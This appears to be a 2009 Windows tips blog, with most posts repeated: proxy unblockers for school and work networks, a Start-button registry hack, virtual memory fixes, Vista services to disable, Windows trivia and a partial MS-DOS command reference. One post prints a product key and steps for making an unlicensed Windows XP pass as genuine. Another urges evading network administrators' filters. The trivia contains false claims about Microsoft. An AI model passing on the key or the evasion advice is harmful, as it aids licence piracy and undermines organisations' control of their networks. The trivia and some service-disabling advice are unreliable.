>A Real time website tracking and counter tools...
>It gives you instant access to vital information and data about your site
>Go to www.sitemeter.com
Friday, May 22, 2009
Trace a site
>A Real time website tracking and counter tools...
>It gives you instant access to vital information and data about your site
>Go to www.sitemeter.com
UNBLOCKERS
When we refer to “unblockers” we’re speaking about website unblockers, also known as proxy servers, that have become quite common as social networking has risen in popularity. Social networking websites are used by millions of people, normally in the pursuit of time wasting, so they’ve become a sore point for network administrators who are concerned about time management for those who log into their network.
Schools and private company networks are the ones that are most often blocked. Some government networks can be added to the list, and suddenly you have millions of blocked users across hundreds of distinct networks.
Site unblockers to the rescue
Luckily for people trapped in “firewall hell,” there is a way to freedom. As long as you can reach an unblocker website which is also itself not blocked, you’ll be able to get to your destination with a minimum of trouble.
Website unblockers get you back the access you’ve lost because they mask your requests. You local administrators thinks you’re visiting one site but you’re actually visiting another.
Unblockers for school - Unblockers at school
One thing you need to realize is that website unblockers for school will come and go quickly. The system administrator is playing a cat and mouse game with his users and as soon as he realizes that you’ve found a way around his restrictions, he’ll seek to restrict you again. Once his autonomy has been questioned, he’ll tighten polices even more.
For this reason be prepared for your favorite proxy servers to get continuously banned. Once the admin notices that system resources are being spent on a new website, he’ll investigate and add that website to his list of banned resources. For certain admins, a long list of banned sites proves he’s doing his job.
That mean’s that you’ll need to stay in the market for new leads about new websites that come up the pike. There are several Google Groups you can subscribe to that will perform exactly that service. You can also always use Google’s search engine to look for the keywords you seek such as “Facebook unblocker” or “Unblock Myspace” or “Youtube unblockers.” Generally you’ll find a decent list to work from.
Finding new unblockers is work, but the reward is your freedom to surf where you want to surf, when you want to surf. That’s enough reward for anyone.
Schools and private company networks are the ones that are most often blocked. Some government networks can be added to the list, and suddenly you have millions of blocked users across hundreds of distinct networks.
Site unblockers to the rescue
Luckily for people trapped in “firewall hell,” there is a way to freedom. As long as you can reach an unblocker website which is also itself not blocked, you’ll be able to get to your destination with a minimum of trouble.
Website unblockers get you back the access you’ve lost because they mask your requests. You local administrators thinks you’re visiting one site but you’re actually visiting another.
Unblockers for school - Unblockers at school
One thing you need to realize is that website unblockers for school will come and go quickly. The system administrator is playing a cat and mouse game with his users and as soon as he realizes that you’ve found a way around his restrictions, he’ll seek to restrict you again. Once his autonomy has been questioned, he’ll tighten polices even more.
For this reason be prepared for your favorite proxy servers to get continuously banned. Once the admin notices that system resources are being spent on a new website, he’ll investigate and add that website to his list of banned resources. For certain admins, a long list of banned sites proves he’s doing his job.
That mean’s that you’ll need to stay in the market for new leads about new websites that come up the pike. There are several Google Groups you can subscribe to that will perform exactly that service. You can also always use Google’s search engine to look for the keywords you seek such as “Facebook unblocker” or “Unblock Myspace” or “Youtube unblockers.” Generally you’ll find a decent list to work from.
Finding new unblockers is work, but the reward is your freedom to surf where you want to surf, when you want to surf. That’s enough reward for anyone.
Thursday, May 14, 2009
CUSTOMIZE U'R START BUTTON
First you need a tool called "Resource Hacker". This free program allows you to change resources in any .exe file such as "Explorer.exe", which includes the [Start] button's Label. You can visit Google.com and search there for "Resource Hacker".
After you download it, follow the guide here:
Step 1:
A - Run "Resource Hacker" and open the file "%windir%\Explorer.exe".
B - You see a Tree of all Resources in this file, expand the "String Table"
C - Find the "start" and replace it with your own text. then press the [Compile Script] button.
D - Save "Explorer.exe" as "MyStart.exe" DONT save it as Explorer.exe, do "save as.." and give it a new name.
E - Quit "Resource Hacker".
Step 2:
A - Click on the [Start] button and choose the "Run..." item from the start menu. (Or use the shortcut key WinKey+R)
B - Type "RegEdit" in the Run "Dialog Box". And then press the [Ok] buton to run the "Registry Editor" program.
C - Go to: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W
indowsNT\C urrentVersion\Winlogon" and find the "Shell" property.
D - Replace value of the "Shell" property to "MyStart.exe".
E - Quit "Registry Editor".
F - Restart your system.
Note about Registry Editor:
if you did not find the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\
CurrentVersion\Winlogon", you can search the Registry for the "Explorer.exe", to do this use the Edit Menu | Find Next (Ctrl+F).
After you download it, follow the guide here:
Step 1:
A - Run "Resource Hacker" and open the file "%windir%\Explorer.exe".
B - You see a Tree of all Resources in this file, expand the "String Table"
C - Find the "start" and replace it with your own text. then press the [Compile Script] button.
D - Save "Explorer.exe" as "MyStart.exe" DONT save it as Explorer.exe, do "save as.." and give it a new name.
E - Quit "Resource Hacker".
Step 2:
A - Click on the [Start] button and choose the "Run..." item from the start menu. (Or use the shortcut key WinKey+R)
B - Type "RegEdit" in the Run "Dialog Box". And then press the [Ok] buton to run the "Registry Editor" program.
C - Go to: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W
indowsNT\C urrentVersion\Winlogon" and find the "Shell" property.
D - Replace value of the "Shell" property to "MyStart.exe".
E - Quit "Registry Editor".
F - Restart your system.
Note about Registry Editor:
if you did not find the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\
CurrentVersion\Winlogon", you can search the Registry for the "Explorer.exe", to do this use the Edit Menu | Find Next (Ctrl+F).
VIRTUAL MEMORY TOO LOW WARNING TROUBLE IN WINDOWS "XP & VISTA"
When there is less physical memory than needed, then some virtual memory (virtual RAM) is created on the disk. When there is a limit set to the size of virtual memory usage and there is not enough of it present there is a warning that frequently comes “Virtual Memory too low”.
Solution 1 :
This problem occurs when physical RAM + Virtual RAM (usually created on hard disk) together are not sufficient to take care of the currently needed RAM size, or this situation is about to arise. This usually happens when some fixed upper limit for Virtual Memory has been set. To solve this problem, you can either upgrade you physical RAM on your computer (recommended), or you can set the Virtual Memory to system managed size or you can do both. Setting Virtual Memory to system managed size means windows will set it to higher size whenever needed automatically,for this,
Right click on My computer --> goto properties, goto advanced tab, click on performance settings, now click on advanced, now click on advanced, now click on change button for Virtual memory.
On this screen select the System managed size, press OK. After this re-start your computer. This will solve the virtual memory too low problem.
Solution 2:
Recommended solution is to upgrade your physical memory (RAM) according to requirements of the kind of applications that you run on your computer. If you upgrade RAM or not, the following procedure will help prevent this warning by increasing the virtual memory limit.
* Right click on My computer icon and click properties.
* This will show system properties window. Click on a advanced tab and click on the settings button under heading performance.
* This will open performance options window. Click on advanced tab and click on change button under heading virtual memory.
* Check if the space available is set to some custom value or double the RAM size ?
* If it is not double the RAM memory size , then select the size option set the virtual memory size double the RAM Size and press set button and press OK button.
* Restart the computer.
Solution 1 :
This problem occurs when physical RAM + Virtual RAM (usually created on hard disk) together are not sufficient to take care of the currently needed RAM size, or this situation is about to arise. This usually happens when some fixed upper limit for Virtual Memory has been set. To solve this problem, you can either upgrade you physical RAM on your computer (recommended), or you can set the Virtual Memory to system managed size or you can do both. Setting Virtual Memory to system managed size means windows will set it to higher size whenever needed automatically,for this,
Right click on My computer --> goto properties, goto advanced tab, click on performance settings, now click on advanced, now click on advanced, now click on change button for Virtual memory.
On this screen select the System managed size, press OK. After this re-start your computer. This will solve the virtual memory too low problem.
Solution 2:
Recommended solution is to upgrade your physical memory (RAM) according to requirements of the kind of applications that you run on your computer. If you upgrade RAM or not, the following procedure will help prevent this warning by increasing the virtual memory limit.
* Right click on My computer icon and click properties.
* This will show system properties window. Click on a advanced tab and click on the settings button under heading performance.
* This will open performance options window. Click on advanced tab and click on change button under heading virtual memory.
* Check if the space available is set to some custom value or double the RAM size ?
* If it is not double the RAM memory size , then select the size option set the virtual memory size double the RAM Size and press set button and press OK button.
* Restart the computer.
SHUTDOWN & BOOT WINDOWS FASTER
Before we really get started, it is entirely possible to mess up your Vista install very royally if you don't know what you are doing. We recommend that only power users or those on the level of Sys Admins attempt these steps. Proceed at your own risk and always create a restore point before you modify any part of the system. All the programs used for purposes of this post are freeware applications.
Vista is not XP (thankfully) but like XP it has a lot of startup processes that are, well, pretty much useless. Though beware, you might actually need some of these if you are on a network or require remote assistance features. If not, then go ahead and turn them off.
Right click on Computer, go to manage and go to Services and Applications then Services (the Standard View makes it easier to manage but that is not a necessary step). You'll see a list of applications and services in this list, thing is, you don't need quite a few of them. Some may have already been disabled or are set to manual, that's fine, leave them like that, Vista has decided on its own they are not needed or will be activated when required.
We want to look at the ones that are set on Automatic. You can organize the list either by name or startup setting, for me, I have them organized by name since it makes it easy to compare to other lists. I have used this process list for disabling items, each one is described for you so you can decide if you need it or not. Note that disabling the IKE and AuthIP Service will disable just about every single networking and network connection process on the computer. It serves you better NOT to disable it, you will still be able to connect to networks if you do but you want be able to monitor them or switch networks, best to leave that one on.
Here is list of services that are completely safe to disable (for most users):
Telephony (keep enabled if you use a modem)
SSDP Discovery
Shell Hardware Detection (disables autoplay events)
Server
Remote Access Connection Manager
Program Compatibility Assistant (face it, this service is useless, if you've ever tried it, you know what I'm talking about)
Portable Device Enumerator Service (if you use Windows Media Player with your MP3 device, keep this service on)
Perclilint
IPSec Policy Agent
IP Helper
Internet Connection Sharing (leave on if you have shared resources on a network)
Distributed Link Tracking Client
Diagnostic Policy Service (who pays attention to Windows Diagnostics anyway?)
Then there is msconfig, Vista users have the luxury of simply typing msconfig in the Start menu search box and launching it that way. Go to the Startup tab and select items you don't need, Java Update, Adobe Reader, any toolbars, iTunes helper and such are prime examples of things you can get rid of, they will start when/if they are needed. If you aren't sure about an entry, use a search engine to find out what the entry is.
If you don't want to use the built-in tools of Vista to do that then I recommend CodeStuff Starter, which has the msconfig features as well as the Management features so you can access everything from one program. CodeStuff also makes it easier to restore your system if you messed up.
It has been a dream of many to control exactly how their computer boots, granted msconfig, computer management and CodeStuff certainly make that process more manageable but it can get better and it does. Last on our list (but certainly not least) to tell Vista that you are the boss is Vista Boot Pro 3.1. The primary function of Vista Boot Pro 3.1 is to control the boot cycle if you have a second operating system installed, sure you could rely on the Vista Boot Loader but whats the fun in that?
Vista Boot Pro edits the Boot Configuration Files in the registry for you, without fail or flaw. The other way to edit the BCD file is well, to go into the registry and even I am leery about that.
Vista Boot Pro allows you to manage the Vista Boot Loader itself, edit which operating system boots first, configure the way Vista starts up and features its own Backup and Restore Center, just in case, you never know.
Vista Boot Pro is also available for Windows XP (Home, Pro, MCE 2005 and x64), Windows 2003 or Longhorn Server. Options may vary depending on operating system installed.
By disabling some processes and startup items, you are also on your way to a more secure installation of Vista but that's not everything you can do to maximize your Vista experience. This will be a continuing series of posts for optimizing Vista so stay tuned for the next one.
Vista is not XP (thankfully) but like XP it has a lot of startup processes that are, well, pretty much useless. Though beware, you might actually need some of these if you are on a network or require remote assistance features. If not, then go ahead and turn them off.
Right click on Computer, go to manage and go to Services and Applications then Services (the Standard View makes it easier to manage but that is not a necessary step). You'll see a list of applications and services in this list, thing is, you don't need quite a few of them. Some may have already been disabled or are set to manual, that's fine, leave them like that, Vista has decided on its own they are not needed or will be activated when required.
We want to look at the ones that are set on Automatic. You can organize the list either by name or startup setting, for me, I have them organized by name since it makes it easy to compare to other lists. I have used this process list for disabling items, each one is described for you so you can decide if you need it or not. Note that disabling the IKE and AuthIP Service will disable just about every single networking and network connection process on the computer. It serves you better NOT to disable it, you will still be able to connect to networks if you do but you want be able to monitor them or switch networks, best to leave that one on.
Here is list of services that are completely safe to disable (for most users):
Telephony (keep enabled if you use a modem)
SSDP Discovery
Shell Hardware Detection (disables autoplay events)
Server
Remote Access Connection Manager
Program Compatibility Assistant (face it, this service is useless, if you've ever tried it, you know what I'm talking about)
Portable Device Enumerator Service (if you use Windows Media Player with your MP3 device, keep this service on)
Perclilint
IPSec Policy Agent
IP Helper
Internet Connection Sharing (leave on if you have shared resources on a network)
Distributed Link Tracking Client
Diagnostic Policy Service (who pays attention to Windows Diagnostics anyway?)
Then there is msconfig, Vista users have the luxury of simply typing msconfig in the Start menu search box and launching it that way. Go to the Startup tab and select items you don't need, Java Update, Adobe Reader, any toolbars, iTunes helper and such are prime examples of things you can get rid of, they will start when/if they are needed. If you aren't sure about an entry, use a search engine to find out what the entry is.
If you don't want to use the built-in tools of Vista to do that then I recommend CodeStuff Starter, which has the msconfig features as well as the Management features so you can access everything from one program. CodeStuff also makes it easier to restore your system if you messed up.
It has been a dream of many to control exactly how their computer boots, granted msconfig, computer management and CodeStuff certainly make that process more manageable but it can get better and it does. Last on our list (but certainly not least) to tell Vista that you are the boss is Vista Boot Pro 3.1. The primary function of Vista Boot Pro 3.1 is to control the boot cycle if you have a second operating system installed, sure you could rely on the Vista Boot Loader but whats the fun in that?
Vista Boot Pro edits the Boot Configuration Files in the registry for you, without fail or flaw. The other way to edit the BCD file is well, to go into the registry and even I am leery about that.
Vista Boot Pro allows you to manage the Vista Boot Loader itself, edit which operating system boots first, configure the way Vista starts up and features its own Backup and Restore Center, just in case, you never know.
Vista Boot Pro is also available for Windows XP (Home, Pro, MCE 2005 and x64), Windows 2003 or Longhorn Server. Options may vary depending on operating system installed.
By disabling some processes and startup items, you are also on your way to a more secure installation of Vista but that's not everything you can do to maximize your Vista experience. This will be a continuing series of posts for optimizing Vista so stay tuned for the next one.
MAKING WINDOWS XP GENUINE
Making windows genuine
MAKING WINDOWS XP GENUINE THE EASY WAY
download jellybean keyfinder from this website
http://www.magicaljellybean.com/keyfinder.shtml
Now open keyfinder.exe
Click on options and click "change windows key"
Now enter this key and you're done.
*****************************
V2C47-MK7JD-3R89F-D2KXW-VPK3J
*****************************
P.S: this works on windows xp sp2 only......
ppl u can try this out...
this might sound silly but it works perfectly...
TRY INSTALLING IE7 OR MEDIA PLAYER11.
MAKING WINDOWS XP GENUINE THE EASY WAY
download jellybean keyfinder from this website
http://www.magicaljellybean.com/keyfinder.shtml
Now open keyfinder.exe
Click on options and click "change windows key"
Now enter this key and you're done.
*****************************
V2C47-MK7JD-3R89F-D2KXW-VPK3J
*****************************
P.S: this works on windows xp sp2 only......
ppl u can try this out...
this might sound silly but it works perfectly...
TRY INSTALLING IE7 OR MEDIA PLAYER11.
MAGIC'S IN WINDOWS
MAGIC #1
An indian discovered that nobody can create FOLDER anywhere on the computer which can be named as "CON".this is something pretty cool... and unbelievable....At microsoft the whole team,couldn't answer why this happend!
TRY IT NOW ,IT WILL NOT CREATE "CON" FOLDER
MAGIC #2
For those of using windows,do the
1)open an empty notepad file
2)type "Bush hid the facts"(without the quotes)
3)save it as what ever you want
4)close it ,and reopen it
is it just a really a weird bug ??
MAGIC#3
microsoft crazy facts
this is something pretty cool and neat .....and unbelievable...At
microsoft the whole team,including Bill Gates ,couldn't why this happend!
it was discovered by a brazilian. try it out yourself...
Open Microsoft Word and type
=rand (200,99)
and then press ENTER
then see the magic............................
An indian discovered that nobody can create FOLDER anywhere on the computer which can be named as "CON".this is something pretty cool... and unbelievable....At microsoft the whole team,couldn't answer why this happend!
TRY IT NOW ,IT WILL NOT CREATE "CON" FOLDER
MAGIC #2
For those of using windows,do the
1)open an empty notepad file
2)type "Bush hid the facts"(without the quotes)
3)save it as what ever you want
4)close it ,and reopen it
is it just a really a weird bug ??
MAGIC#3
microsoft crazy facts
this is something pretty cool and neat .....and unbelievable...At
microsoft the whole team,including Bill Gates ,couldn't why this happend!
it was discovered by a brazilian. try it out yourself...
Open Microsoft Word and type
=rand (200,99)
and then press ENTER
then see the magic............................
MS-DOS COMMANDS
APPEND
(External)
APPEND ;
APPEND [d:]path[;][d:]path[...]
APPEND [/X:on|off][/path:on|off] [/E]
Displays or sets the search path for data files. DOS will search the specified path(s) if the file is not found in the current path.
ASSIGN
(External)
ASSIGN x=y [...] /sta
Redirects disk drive requests to a different drive.
ATTRIB
(External)
ATTRIB [d:][path]filename [/S]
ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [d:][path]filename [/S]
Sets or displays the read-only, archive, system, and hidden attributes of a file or directory.
BACKUP
(External)
BACKUP d:[path][filename] d:[/S][/M][/A][/F:(size)] [/P][/D:date] [/T:time] [/L:[path]filename]
Makes a backup copy of one or more files. (In DOS Version 6, this program is stored on the DOS supplemental disk.)
BREAK
(Internal)
BREAK =on|off
Used from the DOS prompt or in a batch file or in the CONFIG.SYS file to set (or display) whether or not DOS should check for a Ctrl + Break key combination.
BUFFERS
(Internal)
BUFFERS=(number),(read-ahead number)
Used in the CONFIG.SYS file to set the number of disk buffers (number) that will be available for use during data input. Also used to set a value for the number of sectors to be read in advance (read-ahead) during data input operations.
CALL
(Internal)
CALL [d:][path]batchfilename [options]
Calls another batch file and then returns to current batch file to continue.
CHCP
(Internal)
CHCP (codepage)
Displays the current code page or changes the code page that DOS will use.
CHDIR
(Internal)
CHDIR (CD) [d:]path
CHDIR (CD)[..]
Displays working (current) directory and/or changes to a different directory.
CHKDSK
(External)
CHKDSK [d:][path][filename] [/F][/V]
Checks a disk and provides a file and memory status report.
CHOICE
(Internal)
CHOICE [/C[:]keys] [/N][/S][/T[:]c,nn] [text]
Used to provide a prompt so that a user can make a choice while a batch program is running.
CLS (Clear Screen)
(Internal)
CLS
Clears (erases) the screen.
COMMAND
(External)
COMMAND [d:][path] [device] [/P][/E:(size)] [/MSG][/Y [/C (command)|/K (command)]
Starts a new version of the DOS command processor (the program that loads the DOS Internal programs).
COMP
(External)
COMP [d:][path][filename] [d:][path][filename] [/A][/C][/D][/L][/N:(number)]
Compares two groups of files to find information that does not match. (See FC command).
COPY
(Internal)
COPY [/Y|-Y] [/A][/B] [d:][path]filename [/A][/B] [d:][path][filename] [/V]
or
COPY [/Y|-Y][/A][/B] [d:][path]filename+[d:][path]filename[...][d:][path][filename] [/V]
Copies and appends files.
COUNTRY
(Internal)
COUNTRY=country code,[code page][,][d:][filename]
Used in the CONFIG.SYS file to tell DOS to use country-specific text conventions during processing.
CTTY
(Internal)
CTTY (device)
Changes the standard I/O (Input/Output) device to an auxiliary device.
DATE
(Internal)
DATE mm-dd-yy
Displays and/or sets the system date.
DBLSPACE
(External)
DBLSPACE / automount=drives
DBLSPACE /chkdsk [/F] [d:]
DBLSPACE /compress d: [/newdrive=host:] [/reserve=size] [/F]
DBLSPACE /create d: [/newdrive=host:] [/reserve=size] [/size=size]
DBLSPACE /defragment [d:] ]/F]
DBLSPACE /delete d:
DBLSPACE /doubleguard=0|1
DBLSPACE /format d:
DBLSPACE [/info] [d:]
DBLSPACE /list
DBLSPACE /mount[=nnn] host: [/newdrive=d:]
DBLSPACE /ratio[=ratio] [d:] [/all]
DBLSPACE /size[=size] [/reserve=size] d:
DBLSPACE /uncompress d:
DBLSPACE /unmount [d:]
A program available with DOS 6.0 that allows you to compress information on a disk.
DEBUG
(External)
DEBUG [pathname] [parameters]
An MS-DOS utility used to test and edit programs.
DEFRAG
(External)
DEFRAG [d:] [/F][/S[:]order] [/B][/skiphigh [/LCD|/BW|/GO] [/H]
DEFRAG [d:] [/V][/B][/skiphigh] [/LCD]|/BW|/GO] [/H]
Optimizes disk performance by reorganizing the files on the disk.
DEL (ERASE)
(Internal)
DEL (ERASE) [d:][path]filename [/P]
Deletes (erases) files from disk.
DELOLDOS
(External)
DELOLDOS [/B]
Deletes all files from previous versions of DOS after a 5.0 or 6.0 installation.
DELTREE
(External)
DELTREE [/Y] [d:]path [d:]path[...]
Deletes (erases) a directory including all files and subdirectories that are in it.
DEVICE
(Internal)
DEVICE=(driver name)
Used in the CONFIG.SYS file to tell DOS which device driver to load.
DEVICEHIGH
(Internal)
DEVICEHIGH=(driver name)
Like DEVICE, DEVICEHIGH is used in the CONFIG.SYS file to tell DOS which device driver software to use for devices; however, this option is used to install the device driver into the upper memory area.
DIR
(Internal)
DIR [d:][path][filename] [/A:(attributes)] [/O:(order)] [/B][/C][/CH][/L][/S][/P][/W]
Displays directory of files and directories stored on disk.
DISKCOMP
(External)
DISKCOMP [d:] [d:][/1][/8]
Compares the contents of two diskettes.
DISKCOPY
(External)
DISKCOPY [d:] [d:][/1][/V][/M]
Makes an exact copy of a diskette.
DOS
(Internal)
DOS=[high|low],[umb|noumb]
Used in the CONFIG.SYS file to specify the memory location for DOS. It is used to load DOS into the upper memory area and to specify whether or not the upper memory blocks will be used.
DOSKEY
(External)
DOSKEY [reinstall] [/bufsize=size][/macros][/history][/insert|/overstrike] [macroname=[text]]
Loads the Doskey program into memory which can be used to recall DOS commands so that you can edit them.
DOSSHELL
(External)
DOSSHELL [/B] [/G:[resolution][n]]|[/T:[resolution][n]]
Initiates the graphic shell program using the specified screen resolution.
DRIVPARM
(Internal)
DRIVPARM= /D:(number) [/C] [/F:(form factor)] [/H:(number)] [/I][ /N][/S:(number)] [/T:(tracks)]
Used in the CONFIG.SYS file to set parameters for a disk drive.
ECHO
(Internal)
ECHO on|off
ECHO (message)
Displays messages or turns on or off the display of commands in a batch file.
EDIT
(External)
EDIT [d:][path]filename [/B][/G][/H][/NOHI]
Starts the MS-DOS editor, a text editor used to create and edit ASCII text files.
EMM386
(External)
EMM386 [on|off|auto] [w=on|off]
Enables or disables EMM386 expanded-memory support on a computer with an 80386 or higher processor.
EXE2BIN
(External)
EXE2BIN [d:][path]filename [d:][path]filename
Converts .EXE (executable) files to binary format.
EXIT
(Internal)
EXIT
Exits a secondary command processor.
EXPAND
(External)
EXPAND [d:][path]filename [[d:][path]filename[ . . .]]
Expands a compressed file.
FASTHELP
(External)
FASTHELP [command][command] /?
Displays a list of DOS commands with a brief explanation of each.
FASTOPEN
(External)
FASTOPEN d:[=n][/X]
Keeps track of the locations of files for fast access.
FC
(External)
FC [/A][/C][/L][/Lb n][/N][/T][/W][number] [d:][path]filename [d:][path]filename
or (for binary comparisons)
FC [/B][/number] [d:][path]filename [d:][path]filename
Displays the differences between two files or sets of files.
FCBS
(Internal)
FCBS=(number)
Used in the CONFIG.SYS file to specify the number of file-control blocks for file sharing.
FDISK
(External)
FDISK [/status]
Prepares a fixed disk to accept DOS files for storage.
FILES
(Internal)
FILES=(number)
Used in the CONFIG.Sys file to specify the maximum number of files that can be open at the same time.
FIND
(External)
FIND [/V][/C][/I][/N] ÒstringÓ [d:][path]filename[...]
Finds and reports the location of a specific string of text characters in one or more files.
FOR
(Internal)
FOR %%(variable) IN (set) DO (command)
or (for interactive processing)
FOR %(variable) IN (set) DO (command)
Performs repeated execution of commands (for both batch processing and interactive processing).
FORMAT
(External)
FORMAT d:[/1][/4][/8][/F:(size)] [/N:(sectors)] [/T:(tracks)][/B|/S][/C][/V:(label)] [/Q][/U][/V]
Formats a disk to accept DOS files.
GOTO
(Internal)
GOTO (label)
Causes unconditional branch to the specified label.
GRAFTABL
(External)
GRAFTABL [(code page)]
GRAFTABL [status]
Loads a table of character data into memory (for use with a color/graphics adapter).
GRAPHICS
(External)
GRAPHICS [printer type][profile] [/B][/R][/LCD][/PB:(id)] [/C][/F][/P(port)]
Provides a way to print contents of a graphics screen display.
HELP
(External)
HELP [command] [/B][/G][/H][/NOHI]
Displays information about a DOS command.
IF
(Internal)
IF [NOT] EXIST filename (command) [parameters]
IF [NOT] (string1)==(string2) (command) [parameters]
IF [NOT] ERRORLEVEL (number) (command) [parameters]
Allows for conditional operations in batch processing.
INCLUDE
(Internal)
INCLUDE= blockname
Used in the CONFIG.SYS file to allow you to use the commands from one CONFIG.SYS block within another.
INSTALL
(Internal)
INSTALL=[d: ][\path]filename [parameters]
Used in the CONFIG.SYS file to load memory-resident programs into conventional memory.
INTERLINK
(External)
INTERLINK [client[:]=[server][:]]
Connects two computers via parallel or serial ports so that the computers can share disks and printer ports.
INTERSVR
(External)
INTERSVR [d:][...][/X=d:][...] [/LPT:[n|address]] [/COM:[n|address]][/baud:rate] [/B][/V]
INTERSVR /RCOPY
Starts the Interlink server.
JOIN
(External)
JOIN d: [d:path]
JOIN d: [/D]
Allows access to the directory structure and files of a drive through a directory on a different drive.
KEYB
(External)
KEYB [xx][,][yyy][,][d:][path]filename [/E][/ID:(number)]
Loads a program that replaces the support program for U. S. keyboards.
LABEL
(External)
LABEL [d:][volume label]
Creates or changes or deletes a volume label for a disk.
LASTDRIVE
(Internal)
LASTDRIVE=(drive letter)
Used in the CONFIG.SYS file to set the maximum number of drives that can be accessed.
LOADFIX
(Internal)
LOADFIX [d:][path]filename [parameters]
Ensures that a program is loaded above the first 64K of conventional memory, and runs the program.
LOADHIGH
(Internal)
LOADHIGH (LH) [d:][path]filename [parameters]
Loads memory resident application into reserved area of memory (between 640K-1M).
MEM
(External)
MEM [/program|/debug|/classify|/free|/module(name)] [/page]
Displays amount of installed and available memory, including extended, expanded, and upper memory.
MEMMAKER
(External)
MEMMAKER [/B][/batch][/session][/swap:d] [/T][/undo][/W:size1,size2]
Starts the MemMaker program, a program that lets you optimize your computer's memory.
MENUCOLOR
(Internal)
MENUCOLOR=textcolor,[background]
Used in the CONFIG.SYS file to set the colors that will be used by DOS to display text on the screen.
MENUDEFAULT
(Internal)
MENUDEFAULT=blockname, [timeout]
Used in the CONFIG.SYS file to set the startup configuration that will be used by DOS if no key is pressed within the specified timeout period.
MENUITEM
(Internal)
MENUITEM=blockname, [menutext]
Used in the CONFIG.SYS file to create a start-up menu from which you can select a group of CONFIG.SYS commands to be processed upon reboot.
MIRROR
(External)
MIRROR [d:]path [d:] path [...]
MIRROR [d1:][d2:][...] [/T(drive)(files)] [/partn][/U][/1]
Saves disk storage information that can be used to recover accidentally erased files.
MKDIR
(MD) (Internal)
MKDIR (MD) [d:]path
Creates a new subdirectory.
MODE
(External)
MODE n
MODE LPT#[:][n][,][m][,][P][retry]
MODE [n],m[,T]
MODE (displaytype,linetotal)
MODE COMn[:]baud[,][parity][,][databits][,][stopbits][,][retry]
MODE LPT#[:]=COMn [retry]
MODE CON[RATE=(number)][DELAY=(number)]
MODE (device) CODEPAGE PREPARE=(codepage) [d:][path]filename
MODE (device) CODEPAGE PREPARE=(codepage list) [d:][path]filename
MODE (device) CODEPAGE SELECT=(codepage)
MODE (device) CODEPAGE [/STATUS]
MODE (device) CODEPAGE REFRESH
Sets mode of operation for devices or communications.
MORE
(External)
MORE < (filename or command) (name)|MORE Sends output to console, one screen at a time. MOVE (Internal) MOVE [/Y|/-Y] [d:][path]filename[,[d:][path]filename[...]] destination Moves one or more files to the location you specify. Can also be used to rename directories. MSAV (External) MSAV [d:] [/S|/C][/R][/A][/L][/N][/P][/F][/video][/mouse] MSAV /video Scans your computer for known viruses. MSBACKUP (External) MSBACKUP [setupfile] [/BW|/LCD|/MDA] Used to backup or restore one or more files from one disk to another. MSCDEX (External) MSCDEX /D:driver [/D:driver2. . .] [/E][/K][/S][/V][/L:letter] [/M:number] Used to gain access to CD-ROM drives (new with DOS Version 6). MSD (External) MSD [/B][/I] MSD [/I] [/F[d:][path]filename [/P[d:][path]filename [/S[d:][path]filename Provides detailed technical information about your computer. NLSFUNC (External) NLSFUNC [d:][path]filename Used to load a file with country-specific information. NUMLOCK (Internal) NUMLOCK=on|off Used in the CONFIG.SYS file to specify the state of the NumLock key. PATH (Internal) PATH; PATH [d:]path[;][d:]path[...] Sets or displays directories that will be searched for programs not in the current directory. PAUSE (Internal) PAUSE [comment] Suspends execution of a batch file until a key is pressed. POWER (External) POWER [adv:max|reg|min]|std|off] Used to turn power management on and off, report the status of power management, and set levels of power conservation. PRINT (External) PRINT [/B:(buffersize)] [/D:(device)] [/M:(maxtick)] [/Q:(value] [/S:(timeslice)][/U:(busytick)] [/C][/P][/T] [d:][path][filename] [...] Queues and prints data files. PROMPT (Internal) PROMPT [prompt text] [options] Changes the DOS command prompt. RECOVER (External) RECOVER [d:][path]filename RECOVER d: Resolves sector problems on a file or a disk. (Beginning with DOS Version 6, RECOVER is no longer available ). REM (Internal) REM [comment] Used in batch files and in the CONFIG.SYS file to insert remarks (that will not be acted on). RENAME (REN) (Internal) RENAME (REN) [d:][path]filename [d:][path]filename Changes the filename under which a file is stored. REPLACE (External) REPLACE [d:][path]filename [d:][path] [/A][/P][/R][/S][/U][/W] Replaces stored files with files of the same name from a different storage location. RESTORE (External) RESTORE d: [d:][path]filename [/P][/S][/B:mm-dd-yy] [/A:mm-dd-yy][/E:hh:mm:ss] [/L:hh:mm:ss] [/M][/N][/D] Restores to standard disk storage format files previously stored using the BACKUP command. RMDIR (RD) (Internal) RMDIR (RD) [d:]path Removes a subdirectory. SCANDISK (External) SCANDISK [d: [d: . . .]|/all][/checkonly|/autofix[/nosave]|/custom][/surface][/mono][/nosummay] SCANDISK volume-name[/checkonly|/autofix[/nosave]|/custom][/mono][/nosummary] SCANDISK /fragment [d:][path]filename SCANDISK /undo [undo-d:][/mono] Starts the Microsoft ScanDisk program which is a disk analysis and repair tool used to check a drive for errors and correct any problems that it finds. SELECT (External) SELECT [d:] [d:][path] [country code][keyboard code] Formats a disk and installs country-specific information and keyboard codes (starting with DOS Version 6, this command is no longer available). SET (Internal) SET (string1)=(string2) Inserts strings into the command environment. The set values can be used later by programs. SETVER (External) SETVER [d:]:path][filename (number)][/delete][/quiet] Displays the version table and sets the version of DOS that is reported to programs. SHARE (External) SHARE [/F:space] [/L:locks] Installs support for file sharing and file locking. SHELL (Internal) SHELL=[d:][path]filename [parameters] Used in the CONFIG.SYS file to specify the command interpreter that DOS should use. SHIFT (Internal) SHIFT Increases number of replaceable parameters to more than the standard ten for use in batch files. SORT (External) SORT [/R][/+n] < (filename) SORT [/R][/+n] > (filename2)
Sorts input and sends it to the screen or to a file.
STACKS
(Internal)
STACKS=(number),(size)
Used in the CONFIG.SYS file to set the number of stack frames and the size of each stack frame.
SUBMENU
(Internal)
SUBMENU=blockname, [menutext]
Used in the CONFIG.SYS file to create a multilevel menu from which you can select start-up options.
SUBST
(External)
SUBST d: d:path
SUBST d: /D
Substitutes a virtual drive letter for a path designation.
SWITCHES
(Internal)
SWITCHES= [/K][/F][/N][/W]
Used in the CONFIG.SYS file to configure DOS in a special way; for example, to tell DOS to emulate different hardware configurations.
SYS
(External)
SYS [source] d:
Transfers the operating system files to another disk.
TIME
(Internal)
TIME hh:mm[:ss][.cc][A|P]
Displays current time setting of system clock and provides a way for you to reset the time.
TREE
(External)
